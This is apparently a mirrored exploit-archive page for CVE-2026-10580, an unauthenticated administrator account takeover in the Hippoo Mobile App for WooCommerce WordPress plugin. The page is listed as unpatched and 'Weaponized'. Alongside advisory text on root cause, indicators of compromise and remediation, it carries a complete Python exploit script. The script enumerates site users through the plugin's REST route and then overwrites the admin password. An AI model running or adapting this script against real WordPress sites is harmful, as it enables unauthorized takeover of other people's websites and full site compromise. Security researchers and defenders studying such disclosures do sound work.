PoC Archive PoC Archive
Critical CVE-2026-10580 unpatched

Hippoo Mobile App for WooCommerce — Unauthenticated Admin Account Takeover (CVE-2026-10580)

by 0xgh057r3c0n (Nuclei template author: pussycat0x) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-10580
Category
web
Affected product
Hippoo Mobile App for WooCommerce (WordPress plugin)
Affected versions
<= 1.9.4
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcher0xgh057r3c0n (Nuclei template author: pussycat0x)
CVE / AdvisoryCVE-2026-10580
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, plugin, woocommerce, hippoo, authentication-bypass, account-takeover, rest-api, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemHippoo Mobile App for WooCommerce (WordPress plugin)
Versions Affected<= 1.9.4
Language / PlatformPHP / WordPress REST API, PoC written in Python 3.6+
Authentication RequiredNo
Network Access RequiredYes

Summary

The Hippoo Mobile App for WooCommerce plugin registers a REST API endpoint (wc-hippoo/v1/ext/wp/v2/users/<id>) that proxies to WordPress’s user-management REST routes but fails to properly enforce the underlying capability checks, conflating its own permission logic with WordPress core’s. This allows an unauthenticated attacker to first enumerate all site users (including the administrator) via the plugin’s users endpoint, then send an unauthenticated POST to the per-user endpoint to overwrite that user’s password directly, including the administrator account. The included PoC enumerates users and resets the target account’s password, then reports login-ready credentials.


Vulnerability Details

Root Cause

Logic conflation in the plugin’s REST permission callback (CWE-285, Improper Authorization) allows requests to wc-hippoo/v1/ext/wp/v2/users and wc-hippoo/v1/ext/wp/v2/users/{id} to succeed without requiring the caller to be authenticated or to hold the edit_users/manage_options capability, letting an anonymous request set an arbitrary password on any user ID.

Attack Vector

  1. GET /wp-json/wc-hippoo/v1/ext/wp/v2/users to enumerate all WordPress users and identify the administrator account ID (commonly 1).
  2. POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/<admin_id> with a JSON body {"password": "<attacker chosen password>"}.
  3. The endpoint accepts the request without authentication and overwrites the target user’s password.
  4. Log in to /wp-admin using the enumerated username and the newly set password to confirm full administrator access.

Impact

Complete, unauthenticated takeover of any WordPress account including administrators, leading to full site compromise (content control, plugin/theme installation, and typically remote code execution via webshell upload).


Environment / Lab Setup

Target:   WordPress site running Hippoo Mobile App for WooCommerce <= 1.9.4
Attacker: Python 3.6+, `pip install requests`

Proof of Concept

PoC Script

See CVE-2026-10580.py and CVE-2026-10580.yaml (Nuclei template) in this folder.

1
python3 CVE-2026-10580.py -t https://target-site.com -p NewPassword123!

The Python script enumerates users via the vulnerable REST endpoint, prints their IDs/usernames/roles, then resets the password for the specified user ID (default 1/admin) and reports the resulting login credentials. The accompanying CVE-2026-10580.yaml is a Nuclei template that performs the same version fingerprint and password-reset check for automated scanning, and is marked verified: true with CVSS 9.8 / CWE-285 in its metadata.


Detection & Indicators of Compromise

GET  /wp-content/plugins/hippoo/readme.txt
POST /wp-json/wc-hippoo/v1/ext/wp/v2/users/1 HTTP/1.1
Content-Type: application/json

{"password":"<new password>"}

Signs of compromise:

  • Unexpected password changes on administrator or other user accounts with no corresponding password-reset email or admin action.
  • Access logs showing unauthenticated GET/POST requests to /wp-json/wc-hippoo/v1/ext/wp/v2/users or /users/<id>.
  • New/unauthorized admin logins immediately following such requests.

Remediation

ActionDetail
Primary fixUpdate Hippoo Mobile App for WooCommerce to a version newer than 1.9.4 (per Wordfence advisory / plugin SVN changeset 3557733)
Interim mitigationDeactivate the plugin until patched; restrict or firewall access to /wp-json/wc-hippoo/* REST routes; monitor and force-reset admin passwords if exposure is suspected

References


Notes

Mirrored from https://github.com/0xgh057r3c0n/CVE-2026-10580 on 2026-07-05.

CVE-2026-10580.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
#!/usr/bin/env python3
import requests
import sys
import json
import argparse
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
R = "\033[91m"    # Red
G = "\033[92m"    # Green
Y = "\033[93m"    # Yellow
C = "\033[96m"    # Cyan
W = "\033[97m"    # White
N = "\033[0m"     # Reset

BANNER = f"""
{R}              _____________   _______________         _______________   ________  ________          ___________   .________  ______ _______   
              \\_   ___ \\   \\ /   /\\_   _____/         \\_____  \\   _  \\  \\_____  \\/  _____/         /_   \\   _  \\  |   ____/ /  __  \\\\   _  \\  
              /    \\  \\/\\   Y   /  |    __)_   ______  /  ____/  /_\\  \\  /  ____/   __  \\   ______  |   /  /_\\  \\ |____  \\  >      </  /_\\  \\ 
              \\     \\____\\     /   |        \\ /_____/ /       \\  \\_/   \\/       \\  |__\\  \\ /_____/  |   \\  \\_/   \\/       \\/   --   \\  \\_/   \\
               \\______  / \\___/   /_______  /         \\_______ \\_____  /\\_______ \\_____  /          |___|\\_____  /______  /\\______  /\\_____  /
                      \\/                  \\/                  \\/     \\/         \\/     \\/                      \\/       \\/        \\/       \\/ 
{Y}
                          WordPress - Hippoo Mobile App for WooCommerce <= 1.9.4 - Authentication Bypass to Admin Account Takeover                    

{G}                                                                    Author: 0xgh057r3c0n                                    
{N}
"""

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!", verify_ssl=True):
    base = target.rstrip('/')
    
    session = requests.Session()
    session.verify = verify_ssl
    
    print(BANNER)
    print(f"{W}[*] Target:{N} {target}")
    print(f"{W}[*] Target Admin ID:{N} {admin_id}")
    print(f"{W}[*] New Password:{N} {new_password}")
    print(f"{W}[*] SSL Verification:{N} {G if verify_ssl else R}{'Enabled' if verify_ssl else 'Disabled'}{N}")
    print()
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = session.get(users_url)
    if r.status_code != 200:
        print(f"{R}[-] Not vulnerable: {target}{N}")
        return False
    
    users = r.json()
    print(f"{G}[+] Found {len(users)} user(s){N}")
    
    for user in users:
        uid = user.get('id')
        uname = user.get('slug')
        roles = user.get('roles', ['N/A'])
        role_str = roles[0] if isinstance(roles, list) else roles
        print(f"    {W}- User ID:{N} {uid} | {W}Username:{N} {uname} | {W}Role:{N} {C}{role_str}{N}")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = session.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"\n{R}╔══════════════════════════════════════════════════════════════╗")
        print(f"║             ADMIN TAKEOVER SUCCESSFUL                       ║")
        print(f"╚══════════════════════════════════════════════════════════════╝{N}")
        print(f"{Y}    Target:{N} {target}")
        print(f"{Y}    Login:{N} {base}/wp-admin")
        print(f"{Y}    Username:{N} admin (or check enumeration above)")
        print(f"{Y}    Password:{N} {new_password}")
        print()
        
        admin_user = next((u for u in users if u.get('id') == admin_id), None)
        if admin_user:
            print(f"{G}[+] Admin username: {admin_user.get('slug')}{N}")
        
        return True
    else:
        print(f"\n{R}[-] Password reset failed (HTTP {r2.status_code}){N}")
        print(f"{R}[-] Response: {r2.text[:200]}{N}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="wc-hippoo WordPress Plugin Exploit - CVE-2026-XXXX",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=f"{N}Authorized pentest - Target of authorized assessment only{N}"
    )
    
    parser.add_argument("-t", "--target", required=True, help="Target WordPress site URL (e.g., https://example.com)")
    parser.add_argument("-p", "--password", required=True, help="New admin password to set")
    parser.add_argument("-i", "--id", type=int, default=1, help="Admin user ID to takeover (default: 1)")
    parser.add_argument("-k", "--insecure", action="store_true", help="Skip SSL certificate verification")
    parser.add_argument("--no-banner", action="store_true", help="Suppress the ASCII banner")
    
    args = parser.parse_args()
    
    if not args.no_banner:
        print(BANNER)
    
    exploit(args.target, args.id, args.password, not args.insecure)